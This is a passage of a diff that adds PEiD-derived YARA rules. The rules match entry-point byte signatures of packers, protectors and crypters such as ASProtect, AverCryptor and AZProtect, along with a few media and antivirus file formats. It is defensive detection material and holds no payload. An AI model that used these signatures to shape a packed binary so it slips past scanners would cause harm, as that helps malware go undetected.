+        $a = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00240_ASPack_v2_1_
+{
+    meta:
+        description = "[ASPack v2.1]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 72 05 00 00 EB 33 87 DB 90 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00241_ASPack_v2_xx_
+{
+    meta:
+        description = "[ASPack v2.xx]"
+        ep_only = "true"
+    strings:
+        $a = {A8 03 00 00 61 75 08 B8 01 00 00 00 C2 0C 00 68 00 00 00 00 C3 8B 85 26 04 00 00 8D 8D 3B 04 00 00 51 50 FF 95}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00242_ASPack_v2_xx_
+{
+    meta:
+        description = "[ASPack v2.xx]"
+        ep_only = "true"
+    strings:
+        $a = {A8 03 ?? ?? 61 75 08 B8 01 ?? ?? ?? C2 0C ?? 68 ?? ?? ?? ?? C3 8B 85 26 04 ?? ?? 8D 8D 3B 04 ?? ?? 51 50 FF 95}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00243_ASPR_Stripper_v2_x_unpacked_
+{
+    meta:
+        description = "[ASPR Stripper v2.x unpacked]"
+        ep_only = "true"
+    strings:
+        $a = {BB ?? ?? ?? ?? E9 ?? ?? ?? ?? 60 9C FC BF ?? ?? ?? ?? B9 ?? ?? ?? ?? F3 AA 9D 61 C3 55 8B EC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00244_ASProtect_1_23_RC4_build_08_07__dll_____Alexey_Solodovnikov__h__
+{
+    meta:
+        description = "[ASProtect 1.23 RC4 build 08.07 (dll) -> Alexey Solodovnikov (h)]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 D5 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00245_ASProtect_1_23_RC4_build_08_07__exe_____Alexey_Solodovnikov__h__
+{
+    meta:
+        description = "[ASProtect 1.23 RC4 build 08.07 (exe) -> Alexey Solodovnikov (h)]"
+        ep_only = "false"
+    strings:
+        $a = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB ?? ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 D5 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00246_ASProtect_1_33___2_1_Registered____Alexey_Solodovnikov_
+{
+    meta:
+        description = "[ASProtect 1.33 - 2.1 Registered -> Alexey Solodovnikov]"
+        ep_only = "true"
+    strings:
+        $a = {68 01 ?? ?? ?? E8 01 00 00 00 C3 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00247_ASProtect_2_0_
+{
+    meta:
+        description = "[ASProtect 2.0]"
+        ep_only = "false"
+    strings:
+        $a = {68 01 ?? 40 00 E8 01 00 00 00 C3 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00248_ASProtect_2_3_SKE_build_04_26_Beta_
+{
+    meta:
+        description = "[ASProtect 2.3 SKE build 04.26 Beta]"
+        ep_only = "false"
+    strings:
+        $a = {68 01 60 40 00 E8 01 00 00 00 C3 C3 0D 6C 65 3E 09 84 BB 91 89 38 D0 5A 1D 60 6D AF D5 51 2D A9 2F E1 62 D8 C1 5A 8D 6B 6E 94 A7 F9 1D 26 8C 8E FB 08 A8 7E 9D 3B 0C DF 14 5E 62 14 7D 78 D0 6E}
+    condition:
+        $a
+}
+
+rule PEiD_00249_ASProtect_SKE_2_1_2_2__dll_____Alexey_Solodovnikov__h__
+{
+    meta:
+        description = "[ASProtect SKE 2.1/2.2 (dll) -> Alexey Solodovnikov (h)]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00250_ASProtect_SKE_2_1_2_2__dll_____Alexey_Solodovnikov__h__
+{
+    meta:
+        description = "[ASProtect SKE 2.1/2.2 (dll) -> Alexey Solodovnikov (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 B8 F8 C0 A5 23 50 50 03 45 4E 5B 85 C0 74 1C EB 01 E8 81 FB F8 C0 A5 23 74 35 33 D2 56 6A 00 56 FF 75 4E FF D0 5E 83 FE 00 75 24 33 D2 8B 45 41 85 C0 74 07 52 52 FF 75 35 FF D0 8B 45 35 85 C0 74 0D 68 00 80 00 00 6A 00 FF 75 35 FF 55 3D 5B 0B DB 61 75 06 6A 01 58 C2 0C 00 33 C0 F7 D8 1B C0 40 C2 0C 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00251_ASProtect_SKE_2_1_2_2__exe_____Alexey_Solodovnikov__h__
+{
+    meta:
+        description = "[ASProtect SKE 2.1/2.2 (exe) -> Alexey Solodovnikov (h)]"
+        ep_only = "false"
+    strings:
+        $a = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00252_ASProtect_SKE_2_1_2_2__exe_____Alexey_Solodovnikov__h__
+{
+    meta:
+        description = "[ASProtect SKE 2.1/2.2 (exe) -> Alexey Solodovnikov (h)]"
+        ep_only = "false"
+    strings:
+        $a = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 B8 F8 C0 A5 23 50 50 03 45 4E 5B 85 C0 74 1C EB 01 E8 81 FB F8 C0 A5 23 74 35 33 D2 56 6A 00 56 FF 75 4E FF D0 5E 83 FE 00 75 24 33 D2 8B 45 41 85 C0 74 07 52 52 FF 75 35 FF D0 8B 45 35 85 C0 74 0D 68 00 80 00 00 6A 00 FF 75 35 FF 55 3D 5B 0B DB 61 75 06 6A 01 58 C2 0C 00 33 C0 F7 D8 1B C0 40 C2 0C}
+    condition:
+        $a
+}
+
+rule PEiD_00253_ASProtect_SKE_2_1_2_2__exe_____Alexey_Solodovnikov__h__
+{
+    meta:
+        description = "[ASProtect SKE 2.1/2.2 (exe) -> Alexey Solodovnikov (h)]"
+        ep_only = "false"
+    strings:
+        $a = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 B8 F8 C0 A5 23 50 50 03 45 4E 5B 85 C0 74 1C EB 01 E8 81 FB F8 C0 A5 23 74 35 33 D2 56 6A 00 56 FF 75 4E FF D0 5E 83 FE 00 75 24 33 D2 8B 45 41 85 C0 74 07 52 52 FF 75 35 FF D0 8B 45 35 85 C0 74 0D 68 00 80 00 00 6A 00 FF 75 35 FF 55 3D 5B 0B DB 61 75 06 6A 01 58 C2 0C 00 33 C0 F7 D8 1B C0 40 C2 0C 00}
+    condition:
+        $a
+}
+
+rule PEiD_00254_ASProtect_SKE_2_3____Alexey_Solodovnikov__h__
+{
+    meta:
+        description = "[ASProtect SKE 2.3 -> Alexey Solodovnikov (h)]"
+        ep_only = "false"
+    strings:
+        $a = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 E5 0B 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? 00 00 00 00 B8 F8 C0 A5 23 50 50 03 45 4E 5B 85 C0 74 1C EB 01 E8 81 FB F8 C0 A5 23 74 35 33 D2 56 6A 00 56 FF 75 4E FF D0 5E 83 FE 00 75 24 33 D2 8B 45 41 85 C0 74 07 52 52 FF 75 35 FF D0 8B 45 35 85 C0 74 0D 68 00 80 00 00 6A 00 FF 75 35 FF 55 3D 5B 0B DB 61 75 06 6A 01 58 C2 0C 00 33 C0 F7 D8 1B C0 40 C2 0C}
+    condition:
+        $a
+}
+
+rule PEiD_00255_ASProtect_v1_0_
+{
+    meta:
+        description = "[ASProtect v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 01 ?? ?? ?? 90 5D 81 ED ?? ?? ?? ?? BB ?? ?? ?? ?? 03 DD 2B 9D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00256_ASProtect_v1_1_MTE_
+{
+    meta:
+        description = "[ASProtect v1.1 MTE]"
+        ep_only = "true"
+    strings:
+        $a = {60 E9 ?? ?? ?? ?? 91 78 79 79 79 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00257_ASProtect_v1_1_MTEc_
+{
+    meta:
+        description = "[ASProtect v1.1 MTEc]"
+        ep_only = "true"
+    strings:
+        $a = {90 60 E8 1B ?? ?? ?? E9 FC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00258_ASProtect_v1_1_
+{
+    meta:
+        description = "[ASProtect v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {60 E9 ?? 04 ?? ?? E9 ?? ?? ?? ?? ?? ?? ?? EE}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00259_ASProtect_v1_2____Alexey_Solodovnikov__h1__
+{
+    meta:
+        description = "[ASProtect v1.2 -> Alexey Solodovnikov (h1)]"
+        ep_only = "false"
+    strings:
+        $a = {90 60 E8 1B 00 00 00 E9 FC 8D B5 0F 06 00 00 8B FE B9 97 00 00 00 AD 35 78 56 34 12 AB 49 75 F6 EB 04 5D 45 55 C3 E9 ?? ?? ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_00260_ASProtect_v1_23_RC1_
+{
+    meta:
+        description = "[ASProtect v1.23 RC1]"
+        ep_only = "true"
+    strings:
+        $a = {68 01 ?? ?? 00 E8 01 00 00 00 C3 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00261_ASProtect_v1_23_RC4_build_08_07__dll_____Alexey_Solodovnikov__h__
+{
+    meta:
+        description = "[ASProtect v1.23 RC4 build 08.07 (dll) -> Alexey Solodovnikov (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 D5 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 B8 F8 C0 A5 23 50 50 03 45 4E 5B 85 C0 74 1C EB 01 E8 81 FB F8 C0 A5 23 74 35 33 D2 56 6A 00 56 FF 75 4E FF D0 5E 83 FE 00 75 24 33 D2 8B 45 41 85 C0 74 07 52 52 FF 75 35 FF D0 8B 45 35 85 C0 74 0D 68 00 80 00 00 6A 00 FF 75 35 FF 55 3D 5B 0B DB 61 75 06 6A 01 58 C2 0C 00 33 C0 F7 D8 1B C0 40 C2 0C 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00262_ASProtect_v1_23_RC4_build_08_07__exe_____Alexey_Solodovnikov__h__
+{
+    meta:
+        description = "[ASProtect v1.23 RC4 build 08.07 (exe) -> Alexey Solodovnikov (h)]"
+        ep_only = "false"
+    strings:
+        $a = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB ?? ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 D5 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 B8 F8 C0 A5 23 50 50 03 45 4E 5B 85 C0 74 1C EB 01 E8 81 FB F8 C0 A5 23 74 35 33 D2 56 6A 00 56 FF 75 4E FF D0 5E 83 FE 00 75 24 33 D2 8B 45 41 85 C0 74 07 52 52 FF 75 35 FF D0 8B 45 35 85 C0 74 0D 68 00 80 00 00 6A 00 FF 75 35 FF 55 3D 5B 0B DB 61 75 06 6A 01 58 C2 0C 00 33 C0 F7 D8 1B C0 40 C2 0C 00}
+    condition:
+        $a
+}
+
+rule PEiD_00263_ASProtect_v1_2x__New_Strain__
+{
+    meta:
+        description = "[ASProtect v1.2x (New Strain)]"
+        ep_only = "true"
+    strings:
+        $a = {68 01 ?? ?? ?? E8 01 ?? ?? ?? C3 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00264_ASProtect_v1_2x_
+{
+    meta:
+        description = "[ASProtect v1.2x]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 68 01 ?? ?? ?? C3 AA}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00265_ASProtect_V2_X_DLL____Alexey_Solodovnikov_
+{
+    meta:
+        description = "[ASProtect V2.X DLL -> Alexey Solodovnikov]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 03 00 00 00 E9 ?? ?? 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ?? ?? ?? ?? 03 DD}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00266_ASProtect_v_______If_you_know_this_version__post_on_PEiD_board__h2__
+{
+    meta:
+        description = "[ASProtect v?.? -> If you know this version, post on PEiD board (h2)]"
+        ep_only = "false"
+    strings:
+        $a = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? 00 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 DD 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00267_ASProtect_v_______If_you_know_this_version__post_on_PEiD_board_
+{
+    meta:
+        description = "[ASProtect v?.? -> If you know this version, post on PEiD board]"
+        ep_only = "true"
+    strings:
+        $a = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? 00 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 DD 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00268_ASProtect_vx_x_
+{
+    meta:
+        description = "[ASProtect vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {60 ?? ?? ?? ?? ?? 90 5D ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 03 DD}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00269_ass___crypter____by_santasdad_
+{
+    meta:
+        description = "[ass - crypter -> by santasdad]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 ?? ?? ?? ?? 89 45 EC B8 98 40 00 10 E8 AC EA FF FF 33 C0 55 68 78 51 00 10 64 ?? ?? ?? ?? 20 6A 0A 68 88 51 00 10 A1 E0 97 00 10 50 E8 D8 EA FF FF 8B D8 53 A1 E0 97 00 10 50 E8 12 EB FF FF 8B F8 53 A1 E0 97 00 10 50 E8 DC EA FF FF 8B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00270_ass___crypter____by_santasdad_
+{
+    meta:
+        description = "[ass - crypter -> by santasdad]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 ?? ?? ?? ?? 89 45 EC B8 98 40 00 10 E8 AC EA FF FF 33 C0 55 68 78 51 00 10 64 ?? ?? ?? ?? 20 6A 0A 68 88 51 00 10 A1 E0 97 00 10 50 E8 D8 EA FF FF 8B D8 53 A1 E0 97 00 10 50 E8 12 EB FF FF 8B F8 53 A1 E0 97 00 10 50 E8 DC EA FF FF 8B D8 53 E8 DC EA FF FF 8B F0 85 F6 74 26 8B D7 4A B8 F0 97 00 10 E8 C9 E7 FF FF B8 F0 97 00 10 E8 B7 E7 FF FF 8B CF 8B D6 E8 EE EA FF FF 53 E8 98 EA FF FF 8D 4D EC BA 9C 51 00 10 A1 F0 97 00 10 E8 22 EB FF FF 8B 55 EC B8 F0 97 00 10 E8 89 E6 FF FF B8 F0 97 00 10 E8 7F E7 FF FF E8 6E EC FF FF 33 C0 5A 59 59 64 89 10 68 7F 51 00 10 8D 45 EC E8 11 E6 FF FF C3 E9 FF DF FF FF EB F0 5F 5E 5B E8 0D E5 FF FF 00 53 45 54 54 49 4E 47 53 00 00 00 00 FF FF FF FF 1C 00 00 00 45 4E 54 45 52 20 59 4F 55 52 20 4F 57 4E 20 50 41 53 53 57 4F 52 44 20 48 45 52 45}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00271_ASYLUM_Music_File_v_1_0_
+{
+    meta:
+        description = "[ASYLUM Music File v.1.0]"
+        ep_only = "false"
+    strings:
+        $a = {41 53 59 4C 55 4D 20 4D 75 73 69 63 20 46 6F 72 6D 61 74 20 56 31 2E 30 00}
+    condition:
+        $a
+}
+
+rule PEiD_00272_Audio_CD_file_
+{
+    meta:
+        description = "[Audio-CD file]"
+        ep_only = "false"
+    strings:
+        $a = {52 49 46 46 ?? ?? ?? ?? 43 44 44 41 66 6D 74}
+    condition:
+        $a
+}
+
+rule PEiD_00273_AutoDesk_Animation_file_
+{
+    meta:
+        description = "[AutoDesk Animation file]"
+        ep_only = "false"
+    strings:
+        $a = {?? ?? ?? 00 12 AF ?? ?? 40 01 C8}
+    condition:
+        $a
+}
+
+rule PEiD_00274_AverCryptor_1_0____os1r1s_
+{
+    meta:
+        description = "[AverCryptor 1.0 -> os1r1s]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 75 17 40 00 8B BD 9C 18 40 00 8B 8D A4 18 40 00 B8 BC 18 40 00 03 C5 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 A0 18 40 00 33 C0 51 33 C9 66 B9 FA 00 66 83 F9 00 74 49 8B 57 0C 03 95 A0 18 40 00 8B 85 A8 18 40 00 83 F8 02 75 06 81 C2 00 02 00 00 51 8B 4F 10 83 F8 02 75 06 81 E9 00 02 00 00 57 BF C8 00 00 00 8B F1 E8 27 00 00 00 8B C8 5F B8 BC 18 40 00 03 C5 E8 24 00 00 00 59 49 EB B1 59 83 C7 28 49 EB 8A 8B 85 98 18 40 00 89 44 24 1C 61 FF E0 56 57 4F F7 D7 23 F7 8B C6 5F 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00275_AverCryptor_1_02_beta____os1r1s_
+{
+    meta:
+        description = "[AverCryptor 1.02 beta -> os1r1s]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 0C 17 40 00 8B BD 33 18 40 00 8B 8D 3B 18 40 00 B8 51 18 40 00 03 C5 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 37 18 40 00 33 C0 51 33 C9 66 B9 F7 00 66 83 F9 00 74 49 8B 57 0C 03 95 37 18 40 00 8B 85 3F 18 40 00 83 F8 02 75 06 81 C2 00 02 00 00 51 8B 4F 10 83 F8 02 75 06 81 E9 00 02 00 00 57 BF C8 00 00 00 8B F1 E8 27 00 00 00 8B C8 5F B8 51 18 40 00 03 C5 E8 24 00 00 00 59 49 EB B1 59 83 C7 28 49 EB 8A 8B 85 2F 18 40 00 89 44 24 1C 61 FF E0 56 57 4F F7 D7 23 F7 8B C6 5F 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00276_AVI_movie_file_
+{
+    meta:
+        description = "[AVI movie file]"
+        ep_only = "false"
+    strings:
+        $a = {52 49 46 46 ?? ?? ?? ?? 41 56 49 ?? 4C 49 53 54}
+    condition:
+        $a
+}
+
+rule PEiD_00277_AVP_Antiviral_Database_
+{
+    meta:
+        description = "[AVP Antiviral Database]"
+        ep_only = "false"
+    strings:
+        $a = {41 56 50 20 41 6E 74 69 76 69 72 61 6C 20 44 61 74 61 62 61 73 65}
+    condition:
+        $a
+}
+
+rule PEiD_00278_AVP_Inspector_Database_
+{
+    meta:
+        description = "[AVP Inspector Database]"
+        ep_only = "false"
+    strings:
+        $a = {47 68 6F 73 74 20 42 75 73 74 65 72}
+    condition:
+        $a
+}
+
+rule PEiD_00279_AVPACK_v1_20_
+{
+    meta:
+        description = "[AVPACK v1.20]"
+        ep_only = "true"
+    strings:
+        $a = {50 1E 0E 1F 16 07 33 F6 8B FE B9 ?? ?? FC F3 A5 06 BB ?? ?? 53 CB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00280_AZProtect_0001___by_AlexZ_aka_AZCRC_
+{
+    meta:
+        description = "[AZProtect 0001 - by AlexZ aka AZCRC]"
+        ep_only = "true"
+    strings:
+        $a = {FC 33 C9 49 8B D1 33 C0 33 DB AC 32 C1 8A CD 8A EA 8A D6 B6 08 66 D1 EB 66 D1 D8 73 09 66 35 20 83 66 81 F3 B8 ED FE CE 75 EB 33 C8 33 D3 4F 75 D5 F7 D2 F7 D1 8B C2 C1 C0 10 66 8B C1 C3 F0 DA 55 8B EC 53 56 33 C9 33 DB 8B 4D 0C 8B 55 10 8B 75 08 4E 4A 83}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00281_AZProtect_0001___by_AlexZ_aka_AZCRC_
+{
+    meta:
+        description = "[AZProtect 0001 - by AlexZ aka AZCRC]"
+        ep_only = "true"
+    strings:
+        $a = {EB 70 FC 60 8C 80 4D 11 00 70 25 81 00 40 0D 91 BB 60 8C 80 4D 11 00 70 21 81 1D 61 0D 81 00 40 CE 60 8C 80 4D 11 00 70 25 81 25 81 25 81 25 81 29 61 41 81 31 61 1D 61 00 40 B7 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 BE 00 ?? ?? 00 BF 00 00 40 00 EB 17 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 00 00 00 00 FF 25 ?? ?? ?? 00 8B C6 03 C7 8B F8 57 55 8B EC 05 7F 00 00 00 50 E8 E5 FF FF FF BA 8C ?? ?? 00 89 02 E9 1A 01 00 00 ?? 00 00 00 47 65 74 4D 6F 64 75 6C 65 46 69 6C 65 4E 61 6D 65 41 00 47 65 74 56 6F 6C 75 6D 65 49 6E 66 6F 72 6D 61 74 69 6F 6E 41 00 4D 65 73 73 61 67 65 42 6F 78 41 00 45 78 69 74 50 72 6F 63 65 73 73 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00282_AZProtect_0001___by_AlexZ_aka_AZCRC_
+{
+    meta:
+        description = "[AZProtect 0001 - by AlexZ aka AZCRC]"
+        ep_only = "false"
+    strings:
+        $a = {FC 33 C9 49 8B D1 33 C0 33 DB AC 32 C1 8A CD 8A EA 8A D6 B6 08 66 D1 EB 66 D1 D8 73 09 66 35 20 83 66 81 F3 B8 ED FE CE 75 EB 33 C8 33 D3 4F 75 D5 F7 D2 F7 D1 8B C2 C1 C0 10 66 8B C1 C3 F0 DA 55 8B EC 53 56 33 C9 33 DB 8B 4D 0C 8B 55 10 8B 75 08 4E 4A 83 FB 08 72 05 33 DB 43 EB 01 43 33 C0 8A 04 31 8A 24 13 2A C4 88 04 31 E2 E6 5E 5B C9 C2 0C}
+    condition:
+        $a
+}
+
+rule PEiD_00283_AZProtect_0x0001____AlexZ_aka_AZCRC_
+{
+    meta:
+        description = "[AZProtect 0x0001 -> AlexZ aka AZCRC]"
+        ep_only = "true"
+    strings:
+        $a = {EB 70 FC 60 8C 80 4D 11 00 70 25 81 00 40 0D 91 BB 60 8C 80 4D 11 00 70 21 81 1D 61 0D 81 00 40 CE 60 8C 80 4D 11 00 70 25 81 25 81 25 81 25 81 29 61 41 81 31 61 1D 61 00 40 B7 30 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00284_AZProtect_
+{
+    meta:
+        description = "[AZProtect]"
+        ep_only = "true"
+    strings:
+        $a = {EB 70 FC 60 8C 80 4D 11 00 70 25 81 00 40 0D 91 BB 60 8C 80 4D 11 00 70 21 81 1D 61 0D 81 00 40 CE 60 8C 80 4D 11 00 70 25 81 25 81 25 81 25 81 29 61 41 81 31 61 1D 61 00 40 B7 30}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00285_BamBam_0_01_
+{
+    meta:
+        description = "[BamBam 0.01]"
+        ep_only = "false"
+    strings:
+        $a = {6A 14 E8 9A 05 00 00 8B D8 53 68 FB ?? ?? 00 E8 6C FD FF FF B9 05 00 00 00 8B F3 BF FB ?? ?? 00 53 F3 A5 E8 8D 05 00 00 8B 3D 03 ?? ?? 00 A1 2B ?? ?? 00 66 8B 15 2F ?? ?? 00 B9 80 ?? ?? 00 2B CF 89 45 E8 89 0D 6B ?? ?? 00 66 89 55 EC 8B 41 3C 33 D2 03 C1}
+    condition:
+        $a
+}
+
+rule PEiD_00286_bambam_V0_01____bedrock___Sign_by_fly_
+{
+    meta:
+        description = "[bambam V0.01 -> bedrock ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {6A 14 E8 9A 05 00 00 8B D8 53 68 ?? ?? ?? ?? E8 6C FD FF FF B9 05 00 00 00 8B F3 BF ?? ?? ?? ?? 53 F3 A5 E8 8D 05 00 00 8B 3D ?? ?? ?? ?? A1 ?? ?? ?? ?? 66 8B 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B CF 89 45 E8 89 0D ?? ?? ?? ?? 66 89 55 EC 8B 41 3C 33 D2 03 C1 83 C4 10 66 8B 48 06 66 8B 50 14 81 E1 FF FF 00 00 8D 5C 02 18 8D 41 FF 85 C0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00287_bambam_V0_01____bedrock_
+{
+    meta:
+        description = "[bambam V0.01 -> bedrock]"
+        ep_only = "true"
+    strings:
+        $a = {6A 14 E8 9A 05 00 00 8B D8 53 68 ?? ?? ?? ?? E8 6C FD FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00288_bambam_V0_01____bedrock_
+{
+    meta:
+        description = "[bambam V0.01 -> bedrock]"
+        ep_only = "true"
+    strings:
+        $a = {6A 14 E8 9A 05 00 00 8B D8 53 68 ?? ?? ?? ?? E8 6C FD FF FF B9 05 00 00 00 8B F3 BF ?? ?? ?? ?? 53 F3 A5 E8 8D 05 00 00 8B 3D ?? ?? ?? ?? A1 ?? ?? ?? ?? 66 8B 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B CF 89 45 E8 89 0D ?? ?? ?? ?? 66 89 55 EC 8B 41 3C 33 D2 03 C1}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00289_BamBam_v0_01_
+{
+    meta:
+        description = "[BamBam v0.01]"
+        ep_only = "false"
+    strings:
